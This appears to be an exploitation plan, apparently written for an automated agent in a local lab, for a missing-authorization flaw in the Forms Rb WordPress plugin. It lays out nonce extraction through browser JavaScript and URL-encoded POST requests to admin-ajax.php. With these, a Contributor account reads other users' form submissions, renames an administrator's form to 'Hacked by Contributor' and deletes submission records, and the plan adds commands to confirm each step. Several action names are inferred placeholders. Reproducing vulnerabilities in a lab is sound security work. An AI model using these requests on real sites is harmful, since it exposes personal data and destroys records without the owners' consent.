Forms Rb <= 1.1.9 - Missing Authorization to Authenticated (Contributor+) Arbitrary Modification via 'form_id' Parameter

This research plan focuses on CVE-2026-7050, a missing authorization vulnerability in the Forms Rb plugin. The vulnerability allows authenticated users with at least Contributor-level access to manipulate form configurations and read/delete submissions across all forms, regardless of ownership.

---

1. Vulnerability Summary

The Forms Rb plugin fails to implement sufficient capability checks or ownership validation on backend processing functions. While it may use nonces for CSRF protection, it lacks logic to verify if the $current_user has the right to modify or access a specific form_id. Consequently, any user permitted to access the WordPress admin (Contributor+) can bypass intended restrictions by providing a form_id belonging to another user (e.g., an Administrator).

2. Attack Vector Analysis

• Endpoint: wp-admin/admin-ajax.php (likely) or wp-admin/admin-post.php.
• Vulnerable Parameters: form_id, record_id (or submission_id), and form configuration arrays.
• Action Hooks (Inferred):
  • wp_ajax_forms_rb_get_submissions (Read)
  • wp_ajax_forms_rb_save_form (Modify)
  • wp_ajax_forms_rb_delete_record (Delete)
• Authentication: Contributor-level user or higher.
• Preconditions: At least one form must exist (created by an Admin) that the attacker wishes to target.

3. Code Flow (Inferred)

1. Registration: The plugin registers AJAX actions in an admin-centric class (e.g., Forms_Rb_Admin) using add_action( 'wp_ajax_...', ... ).
2. Entry Point: An authenticated user sends a POST request to admin-ajax.php with a specific action and a form_id.
3. Missing Check: The handler function calls check_ajax_referer() (verifying the nonce) but fails to call current_user_can( 'manage_options' ) or verify if the form_id was created by the requesting user.
4. Sink: The code proceeds to perform database operations via $wpdb using the user-supplied form_id.
   • Read: Queries the submissions table for the given form_id.
   • Modify: Updates the wp_posts or a custom table where form settings are stored.
   • Delete: Deletes rows from the submissions table based on form_id.

4. Nonce Acquisition Strategy

Since this is an authenticated vulnerability (Contributor+), we can log in and extract the nonce from the admin dashboard.

1. Identify Nonce Action: Search the codebase for wp_create_nonce.
   • grep -rn "wp_create_nonce" /var/www/html/wp-content/plugins/forms-rb/
2. Identify Localized Script: Look for wp_localize_script to find the JS object name.
   • grep -rn "wp_localize_script" /var/www/html/wp-content/plugins/forms-rb/
3. Acquisition Steps:
   • Create a Contributor user.
   • Login as the Contributor via browser_navigate.
   • Navigate to the Forms Rb management page (if accessible) or the main dashboard.
   • Execute browser_eval to grab the nonce:

     // Example: If the localized object is forms_rb_admin
     window.forms_rb_admin?.nonce || window.forms_rb_vars?.nonce
     

5. Exploitation Strategy

Phase 1: Discovery (Identification of IDs)

First, identify the AJAX actions and the nonce variable.

• grep -r "wp_ajax_" .
• grep -r "check_ajax_referer" .

Phase 2: Arbitrary Submission Reading

Request:

• Method: POST
• URL: http://localhost:8080/wp-admin/admin-ajax.php
• Body (URL-encoded):

  action=[INFERRED_READ_ACTION]&form_id=[TARGET_ADMIN_FORM_ID]&_ajax_nonce=[NONCE]
  

• Goal: Receive a JSON or HTML response containing sensitive form submissions (names, emails, etc.) that the Contributor should not see.

Phase 3: Arbitrary Configuration Modification

Request:

• Method: POST
• URL: http://localhost:8080/wp-admin/admin-ajax.php
• Body (URL-encoded):

  action=[INFERRED_SAVE_ACTION]&form_id=[TARGET_ADMIN_FORM_ID]&form_title=Hacked+by+Contributor&_ajax_nonce=[NONCE]
  

• Goal: Change the title or settings of an Admin's form.

Phase 4: Arbitrary Record Deletion

Request:

• Method: POST
• URL: http://localhost:8080/wp-admin/admin-ajax.php
• Body (URL-encoded):

  action=[INFERRED_DELETE_ACTION]&form_id=[TARGET_ADMIN_FORM_ID]&record_id=[TARGET_RECORD_ID]&_ajax_nonce=[NONCE]
  

6. Test Data Setup

1. Admin Setup:
   • Create a form named "Admin Private Form".
   • Add a submission to this form (simulated via wp db query or frontend submission).
   • Note the form_id (likely a Post ID in wp_posts).
2. Attacker Setup:
   • Create a user attacker with the contributor role.
   • Ensure the Contributor can see the "Forms Rb" menu or at least access the admin area to load the scripts.

7. Expected Results

• Read: The response to the AJAX request contains data from the Admin's form.
• Modify: A wp post get [ID] command shows the form title has changed.
• Delete: A database check shows the record associated with the Admin's form is gone.

8. Verification Steps

1. Check Form Title:
   wp post get [TARGET_ADMIN_FORM_ID] --field=post_title
   Result: Should be "Hacked by Contributor".
2. Check Submissions:
   wp db query "SELECT count(*) FROM wp_forms_rb_submissions WHERE form_id = [ID]" (table name inferred)
   Result: Count should be 0 if deletion was targeted.

9. Alternative Approaches

If the plugin uses admin-post.php instead of admin-ajax.php:

• Monitor the Network tab while saving a form as Admin.
• Replicate the multipart/form-data or application/x-www-form-urlencoded POST request using the Contributor's cookies and the form_id of the Admin's form.
• If form_id is not a Post ID, search for a custom table: wp db query "SHOW TABLES LIKE '%forms_rb%'".